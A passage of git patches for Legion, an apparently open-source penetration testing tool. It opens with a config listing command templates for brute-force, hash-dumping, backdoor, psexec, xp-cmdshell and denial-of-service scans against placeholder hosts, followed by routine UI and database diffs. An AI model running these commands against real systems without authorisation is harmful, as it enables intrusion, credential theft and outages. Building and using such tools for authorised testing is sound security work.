--script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp -snmp-default=snmp, udp -snmpcheck=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage5-ports=T:30000-65535 diff --git a/controller/controller.py b/controller/controller.py index 2cb4a4c7..7370857e 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551128005' + self.build = '1551133079' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/db/database.py b/db/database.py index ceb1e81d..92510a86 100644 --- a/db/database.py +++ b/db/database.py @@ -45,7 +45,7 @@ class process(Base): estimatedremaining = Column(Integer) elapsed = Column(Integer) outputfile = Column(String) - output = relationship("process_output", uselist = False, backref = "process") + output = relationship("process_output") #, uselist = False, backref = "process") status = Column(String) closed = Column(String) @@ -232,10 +232,9 @@ def __init__(self, hostId, text): class process_output(Base): __tablename__ = 'process_output' - #output = Column(String, primary_key = True) + process_id = Column(Integer, ForeignKey('process.id')) id = Column(Integer, primary_key = True) - process_id = Column(Integer, ForeignKey('process.pid')) - output = (String) + output = Column(String) def __init__(self): self.output = unicode('') diff --git a/legion.conf b/legion.conf index 61815870..242a4201 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,19,100,100" +process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,0,100,100" [GeneralSettings] default-terminal=gnome-terminal diff --git a/ui/view.py b/ui/view.py index 3add0ce8..a59d79cf 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1338,8 +1338,6 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). def restoreToolTabs(self): - ### CHEETOS - return tools = self.controller.getProcessesFromDB(self.filters, showProcesses = False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. nbr = len(tools) # show a progress bar because this could take long if nbr==0: @@ -1349,6 +1347,7 @@ def restoreToolTabs(self): self.tick.emit(int(totalprogress)) for t in tools: + print(str(t)) if not t.tabtitle == '': if 'screenshot' in str(t.tabtitle): imageviewer = self.createNewTabForHost(t.hostip, t.tabtitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) From 5f3599a44d2a9403156b4e496b7b3612af42f971 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 16:45:26 -0600 Subject: [PATCH 142/450] About dialog updates --- controller/controller.py | 7 ++++--- legion.conf | 2 +- ui/helpDialog.py | 17 +++++++++++------ ui/view.py | 2 +- 4 files changed, 17 insertions(+), 11 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 7370857e..65500831 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,14 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551133079' + self.build = '1551134714' self.author = 'GoVanguard' self.copyright = '2019' - self.emails = ['hello@gvit.com'] + self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] + self.emails = [] self.update = '02/25/2019' self.license = "GPL v3" - self.desc = "LEGION is a semi-automated intelligence gathering tool for penetration testing." + self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' self.bigIcon = './images/icons/Legion-N_128x128.svg' diff --git a/legion.conf b/legion.conf index 242a4201..61815870 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,0,100,100" +process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,19,100,100" [GeneralSettings] default-terminal=gnome-terminal diff --git a/ui/helpDialog.py b/ui/helpDialog.py index 77a94d7f..324b1275 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -43,16 +43,17 @@ def __init__(self, qss, parent = None): self.setReadOnly(True) class HelpDialog(QtWidgets.QDialog): - def __init__(self, name, author, copyright, emails, version, build, update, license, desc, smallIcon, bigIcon, qss, parent = None): + def __init__(self, name, author, copyright, links, emails, version, build, update, license, desc, smallIcon, bigIcon, qss, parent = None): 